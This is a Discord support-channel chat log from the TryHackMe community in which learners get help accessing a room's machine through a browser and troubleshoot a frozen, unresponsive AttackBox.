[crisp osprey]

Let's wait hope they will solve my problem

[tribal burrow]

they will do...

[weary spindle]

I don't think you can SSH in to that machine. (Not that you need to)

[fast robin]

well how do i access the machine then

[weary spindle]

You interact with the IP in a web browser?

[fast robin]

no like i enter this command int he terminal on the attackbox : ssh tryhackme@machineip

[weary spindle]

You need to read all task information.

[weary spindle]

The user might not be tryhackme ?

[fast robin]

i have tried it with the user given on top as well

[weary spindle]

You can't SSH in to all THM machines.

[fast robin]

so what command do i use-

[weary spindle]

You interact with the IP in a web browser?

It literally tells you in the task.

[fast robin]

Oh wait-

My bad.

I thought you had to connect to the machine using the terminal like in the previous tasks

[weary spindle]

Nah, some rooms you just need the ip to visit the web page

[fast robin]

Thanks alot mate.

[naive dust]

…Okay cool thanks for the help. Lol.

[weary spindle]

There is literally nothing we can do if you're experiencing lag?

[naive dust]

There’s literally nothing support can do if the product they’re supporting isn’t functioning?

[weary spindle]

It is though?

[naive dust]

I’ve been attempting to start a web server via python for 35 minutes.

Zero functionality.

[weary spindle]

Syntax?

[naive dust]

Python3 -m http.server

Syntax isn’t the issue. The box is unresponsive at this point no matter how many times I terminate and reopen.

And now I have a solid black screen in place of my attackbox.

[tribal burrow]

you go to local folder from where you wish start py serv and run comman. the terminal will look non responding
but is working

[naive dust]

I do not have a terminal now. I have a solid black screen.

[weary spindle]

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[weary spindle]

Can you verify and take a screenshot?

[glad oyster]

How's your internet connection?

[naive dust]

800mb/s.

[naive dust]

Yeah one min

[glad oyster]

And latency?

[naive dust]

I had 2 servers and 8 VM's all running simultaneously 20 minutes ago without issues while practicing some OSED prep stuff. Promise internet is not the issue.

[glad oyster]

I'm just ruling out all possibilities

[tribal burrow]

might help

[naive dust]

its not an issue of getting a cconnection to a web server. That was my example fo rthe fact that it was lagging and then got so bad that after 30 minutes one command couldnt execute

[weary spindle]

But the python seerver just sits there.

It only shows an interaction when you try to wget etc.

[tribal burrow]

py serv is looking like hanging but it works

[naive dust]

I'm not sure where the confusion is coming from on your end. When I press keys on my keyboard, they do not show up on the screen. If I type "python" what shows up is " " (nothing). It can't even get to where it hangs, because it is freezing. If I right click on my desktop to open a new terminal, nothing happens. Again, because everything is just frozen. To reiterate, this is not a web server issue. It is attackbox not functioning in any way, shape, or form.

I understand that py serv looks like its hanging when theres a connection

I understand that nothing happens until you wget

[weary spindle]

Screnshot?

[naive dust]

this is what attackbox looks like for me.

[weary spindle]

Have you tried to terminate and reboot?

[naive dust]

yes, this was my 4th iteration.

And Ive done it so far on chrome, edge, and also in Kali just in case for some freak reason